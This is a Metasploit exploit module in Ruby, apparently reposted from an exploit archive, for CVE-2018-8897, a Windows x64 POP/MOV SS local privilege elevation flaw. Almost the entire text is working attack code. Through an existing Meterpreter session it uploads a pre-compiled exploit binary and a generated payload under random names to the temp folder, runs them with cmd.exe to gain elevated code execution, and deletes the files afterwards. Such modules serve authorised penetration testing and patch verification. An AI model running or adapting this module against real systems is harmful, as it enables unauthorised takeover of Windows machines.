This Metasploit module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kernels, resulting in unexpected behavior for #DB exceptions that are deferred by MOV SS or POP SS. This Metasploit module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution.
b8b99ed8f1e3a142c6687c6ea9be2219##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
'Description' => %q{
This module exploits a vulnerability in a statement in the system programming guide
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
in various operating system kerneles, resulting in unexpected behavior for #DB
excpetions that are deferred by MOV SS or POP SS.
This module will upload the pre-compiled exploit and use it to execute the final
payload in order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nick Peterson', # Original discovery (@nickeverdox)
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
'Can BAPlA1/4k <can1357>', # PoC
'bwatters-r7' # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 08 2018',
'References' =>
[
['CVE', '2018-8897'],
['EDB', '44697'],
['BID', '104071'],
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'False'
}
))
register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXECUTE_DELAY',
[false, 'The number of seconds to delay before executing the exploit', 3])
])
end
def setup
super
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@payload_path = "#{temp_path}\\#{payload_name}"
@exploit_path = "#{temp_path}\\#{exploit_name}"
@payload_exe = generate_payload_exe
end
def validate_active_host
begin
host = session.session_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_remote_path(path)
unless directory?(path)
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
def ensure_clean_destination(path)
if file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end
def ensure_clean_exploit_destination
ensure_clean_destination(exploit_path)
end
def ensure_clean_payload_destination
ensure_clean_destination(payload_path)
end
def upload_exploit
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
upload_file(exploit_path, local_exploit_path)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
end
def upload_payload
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
end
def execute_exploit
sleep(datastore['EXECUTE_DELAY'])
print_status("Running exploit #{exploit_path} with payload #{payload_path}")
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
vprint_status(output)
end
def exploit
begin
validate_active_host
validate_target
validate_remote_path(temp_path)
ensure_clean_exploit_destination
ensure_clean_payload_destination
upload_exploit
upload_payload
execute_exploit
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error(e.message)
ensure_clean_exploit_destination
ensure_clean_payload_destination
end
end
attr_reader :exploit_name
attr_reader :payload_name
attr_reader :payload_exe
attr_reader :temp_path
attr_reader :payload_path
attr_reader :exploit_path
end